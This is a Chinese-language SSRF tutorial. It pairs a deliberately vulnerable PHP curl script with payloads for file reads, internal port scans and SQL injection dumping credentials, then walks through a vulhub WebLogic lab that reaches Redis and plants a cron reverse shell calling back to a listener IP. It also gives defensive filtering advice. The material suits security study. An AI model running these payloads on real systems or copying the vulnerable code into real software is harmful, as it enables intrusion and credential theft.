SSRF概述
服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。
如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。
SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击。
SSRF 场景
php实现
利用curl 实现,需要PHP 扩展组件curl 支持。
// ssrf_curl.php
if(isset($_REQUEST['url'])){
$link = $_REQUEST['url'];
$fileName = './curled/'.time().".txt";
$curlObj = curl_init($link);
$fp = fopen($fileName,'w');
curl_setopt($curlObj,CURLOPT_FILE,$fp);
curl_setopt($curlObj,CURLOPT_HEADER,0);
curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);
curl_exec($curlObj);
curl_close($curlObj);
fclose($fp);
if(getimagesize($fileName)){
header("Content-Type:image/png");
}
$fp = fopen($fileName,'r');
$result = fread($fp,filesize($fileName));
fclose($fp);
echo $result;
}else{
echo "?url=[url]";
}
SSRF 原理
服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。
对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。
没对响应的结果进行检验,直接输出。
SSRF危害
-
端口扫描;
-
内网Web 应用指纹识别;
-
攻击内网应用;
-
读取本地文件;
SSRF攻防
SSRF利用
文件访问
?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo.png
?url=http://www.baidu.com/robots.txt
端口扫描
?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306
?url=http://10.10.10.1:22
?url=http://10.10.10.1:6379
读取本地文件
?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
?url=file:/c:/www/ssrf/ssrf_curl.php
内网应用指纹识别
有些应用是部署在内网的。
<Directory "c:\www\phpMyAdmin">
#Order allow,deny
Order deny,allow
deny from all
allow from 127.0.0.1
</Directory>
内网应用指纹识别
?url=http://127.0.0.1/phpmyadmin/readme
攻击内网web应用
内网安全通常都很薄弱。
<Directory "c:\www\cms">
#Order allow,deny
Order deny,allow
deny from all
allow from 127.0.0.1
</Directory>
通过SSRF 漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。
?url=http://127.0.0.1/cms/show.php?
id=-33/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/**/from/**/cms_
users
?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32
%30from%25%32%30cms_users
SSRF实例
https://vulhub.org/#/environments/weblogic/ssrf/
判断ssrf漏洞
访问
http://10.4.7.137:7001/uddiexplorer/
漏洞存在于http://10.4.7.137:7001/uddiexplorer/SearchPublicRegistries.jsp
提交搜索并抓包
将此处url解码
点击send发送
获取response,然后右键response发送给compare
然后将url修改为百度,再次重复操作
修改url后伪造服务器请求资源,并且收到response,即存在ssrf
探查内网端口开放情况
端口开放时,会返回404相关错误,虽然没有目录,但是能访问服务器
使用localhost也可以
端口未开放时则返回无法连接类错误
探查内网ip
由于已知7001端口开放,因此可以用该端口探测内网中存活的ip
不存在时即返回无法连接
探测内网地址可以使用爆破
从ssrf利用到redis未授权访问
由于这是容器,看一下redis的端口
docker环境的网段一般是172
此处直接看一下配置文件看看ip
sudo docker ps -a
sudo docker exec -it 8 /bin/bash
这个就是ip
验证一下开放没
发现开放
从redis未授权访问到getshell
将脚本写进去
set 1 "\n\n\n\n* * * * * root bash -c sh -i >& /dev/tcp/10.4.7.137/777 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
圈圈的地方要修改监听ip和监听端口
将脚本文件url编码send,等待一会收到shell
SSRF防御
过滤输入
-
限制协议,仅允许 http 或 https 协议;(防止使用gopher协议)
-
限制IP,避免应用被用来获取内网数据,攻击内网;
-
限制端口,限制请求端口为常用端口。
过滤输出
-
过滤返回信息,只要不符合要求的,全部过滤;
-
统一错误信息,让攻击无法对内网信息进行判断。
SSRF挖掘
web功能 | url关键字 |
---|---|
分享 转码服务 在线翻译 图片加载与下载 图片、文章收藏功能 未公开的API实现 … | share wap url link src source target u 3g display sourceURL imageURL domain … |